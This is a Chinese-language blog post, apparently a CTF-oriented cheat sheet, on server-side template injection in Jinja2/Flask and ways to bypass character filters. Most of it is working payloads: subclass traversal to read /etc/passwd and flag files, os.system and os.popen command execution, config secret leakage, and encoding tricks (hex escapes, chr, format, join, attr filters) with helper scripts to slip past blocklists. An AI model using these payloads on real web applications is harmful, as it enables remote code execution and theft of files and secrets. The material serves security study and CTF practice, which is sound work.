SSTI模板注入Plus | Bypass

SSTI模板注入Plus | Bypass

一些语法:

{% ... %} 用来声明变量,也可以用于循环语句和条件语句

{{ ... }} 将表达式打印到模板输出

{# ... #} 未包含在模板输出中的注释

#  ... # 和{%%}有相同的效果

例子:

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ item }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即app.jinja_env.line_statement_prefix="#"  (配置满足也不一定可以)

获取变量(键值)

除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性

{{"".__class__}}
{{""['__classs__']}}

获取键值的本质是调用魔法函数__getitem__()

所以可以使用__getitem__()替代中括号取键值

此外对于字典对象的话还可使用pop()函数得到键值,还有其他一些方法如下

{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

__getattribute__魔法函数简直就是个万金油函数(在python反序列化常用)

__getattribute__函数用于调用对象(生成类的一个具体对象)

0x01获取基本类

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

不可用

''.__class__.__mro__.__getitem__(1)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)

_ 和 . 不可用

中括号可用小括号代替

单引号可用双引号代替

''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']  <=>   ''.__class__
依照上面分别用ascii编码代替字符串即可
__mro__ :   ['\x5f\x5f\x6d\x72\x6f\x5f\x5f']
__class__   :   ['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']
__getitem__ :   ['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f']
__subclasses__  :   ['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']
''.__class__.__mro__.__getitem__(1)   <=>   ''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x6d\x72\x6f\x5f\x5f']['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f'](1)

获取字符串十六进制编码的脚本:

while 1:
    a=input("#input your string  :")
    print("['",end="")
    for i in a:
        print("\\x"+str(hex(ord(i))).replace("0x",""),end="")
    print("']\n")

''.__class__.__mro__.[2].__subclasses__().pop(40)('/etc/passwd').read()为例

0x02Bypass_Some_Chars

图片.png

图片.png

Bypass ‘+"

借助request对象(推荐)

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

Bypass _+’+"

{{''[request.args.class][request.args.mro][2]request.args.subclasses.read() }}&class=_class__&mro=_mro__&subclasses=__subclasses__

Bypass _ +. +’

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/flag")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"/flag")}}

Bypass . + [ + ]

{{url_for.__globals__.os.system('calc')}}
{{url_for|attr("__globals__")|attr("os")|attr("system")('calc')}}

Bypass ( )

小括号不可替代的用处就是执行函数,而能够绕过小括号(也就是不适用())依旧能够执行函数的方法目前还没见过,一般题目直接过滤小括号的话那可以直接考虑flag在当前app的环境变量中了

绕过小括号就不能执行函数了

在2022CnHongKe中就有一个题是flag在config中,但渲染字符串带上了{% set config = ""%}+(可控输入)

这是可以通过下面两个函数将执行config置空命令后的依旧输出原config.FLAG

{{url_for.__globals__['current_app'].config['FLAG']}}
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

一些绕过特定字符串的方法

一些可以使用的函数

image-20220305234936570

1. chr函数

使用chr函数,要先获取到chr函数才行

{{url_for.__globals__.os.system('calc')}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)%2bchr(115)+chr(119).read() }}

2. +拼接

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__["os"].system('calc')}}
{{url_for.__globals__["os"]['system']('calc')}}
{{url_for.__globals__["os"]['sys'+'tem']('ca'+'lc')}}

以上均可执行系统命令

3. 翻转[::-1]

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__['so'[::-1]].system('calc')}}

4. ascii转换

这个方法真就完全没用过,在yu师傅的文章看到才知道,不过测试了一下使用的时候会报错

测试payload: {url_for.__globals__.os[("{0,c}{1,c}{2,c}{3,c}{4,c}{5,c}".format(115, 121, 115, 116, 101, 10))]('calc')}

{n,type}其中n表示在第几位,type表示类型{0,c}{1,c}分别表示在第一位的字符和第二位的字符

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

转换脚本:

while 1:
    s,t=input("#input your string :"),""
    print("[\"",end="")
    for i,c in zip(range(len(s)),s):
        print("{"+str(i)+",c}",end="")
        t+=str(ord(c))+","
    print("\".format("+t[:-2:]+")]")

5. format格式化填充

用+拼接即可,这个payload较长

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os["{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')]('calc')}}
system  :   "{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

6. 编码绕过

{{url_for.__globals__.os.system('calc')}}
{{url_for['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x73\x79\x73\x74\x65\x6d']('\x63\x61\x6c\x63')}}
__globals__  :  ['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']
os           :  ['\x6f\x73']
system       :  ['\x73\x79\x73\x74\x65\x6d']
clac         :  \x63\x61\x6c\x63

转换脚本:

while 1:
    print("{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m'))
    s,t=input("#input your string :"),"\'"
    print("[\"",end="")
    for i,c in zip(range(len(s)),s):
        print("{"+str(i)+"}",end="")
        t+=c+"','"
    print("\".format("+t[:-2:]+")]")

7. 大小写转换

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os['SYSTEM'.lower()]('calc')}}

8. 利用~进行拼接

在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

9. replace函数

{{url_for.__globals__.os["sysatem".replace("a","")]('calc')}}

10. 利用过滤器

attr()

""|attr("__class__")
相当于
"".__class__

常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

last()

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join()

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower()

""["__CLASS__"|lower]   :   ""["__class__"]
<==>  ""["__CLASS__".lower()]

reverse()

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
<==>  "__claee__".replace("ee","ss")

string()

(().__class__|string)[0]    :   <
(().__class__|string)[1]    :   c
(().__class__|string)得到的是" <class 'tuple'> "

select()

()|string   :   ()
()|select|string    :   <generator object select_or_reject at 0x0000011328A7BBF8>

(()|select|string)[15]+(()|select|string)[20]+(()|select|string)[6]+(()|select|string)[18]+(()|select|string)[18]+(()|select|string)[24]+(()|select|string)[24]
<==>  "__class__"

更多的其他一些内置标准过滤器可见:

内置(方法/函数)获取

以下为获得chr

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

参数获取

测试可用__class__
request.args.x1     get传参
request.values.x1   get、post传参
request.form.x1     post传参  (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data        post传参  (Content-Type:a/b)
request.json        post传json  (Content-Type: application/json)
request.cookies

键值获取

测试可用__class__
dict['xxx']
dict.__getitem__(0)
dict.__getitem__('xxx')
dict.pop(0)
dict.pop('xxx')
dict.get(0)
dict.get('xxx')
dict.setdefault('xxx')

以上方法并不是任何时候都通用,需要主体具有对应的方法或函数才行,否则就会报错

属性获取

测试可用__class__
().xxx
()["xxx"]
()|attr("xxx")
().__getattribute__("xxx")

自己动手构造可用payload

几个payload:

>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

参考文章:

https://www.jianshu.com/p/a736e39c3510 (SSTI Flask 技巧进阶)

https://blog.csdn.net/miuzzx/article/details/110220425 (SSTI模板注入绕过(进阶篇))

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇